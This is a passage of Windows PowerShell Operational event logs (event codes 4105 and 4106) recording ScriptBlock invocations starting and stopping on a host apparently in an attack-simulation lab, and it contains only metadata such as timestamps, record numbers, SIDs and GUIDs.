Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647149
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647147
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647165
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647163
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647162
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647161
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647159
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647157
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647175
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647173
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647171
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647169
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647167
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647185
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647184
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647183
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647181
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647179
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647177
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647195
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647193
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647192
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647191
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647189
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:54 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647187
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647205
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647203
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647201
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647199
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647197
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
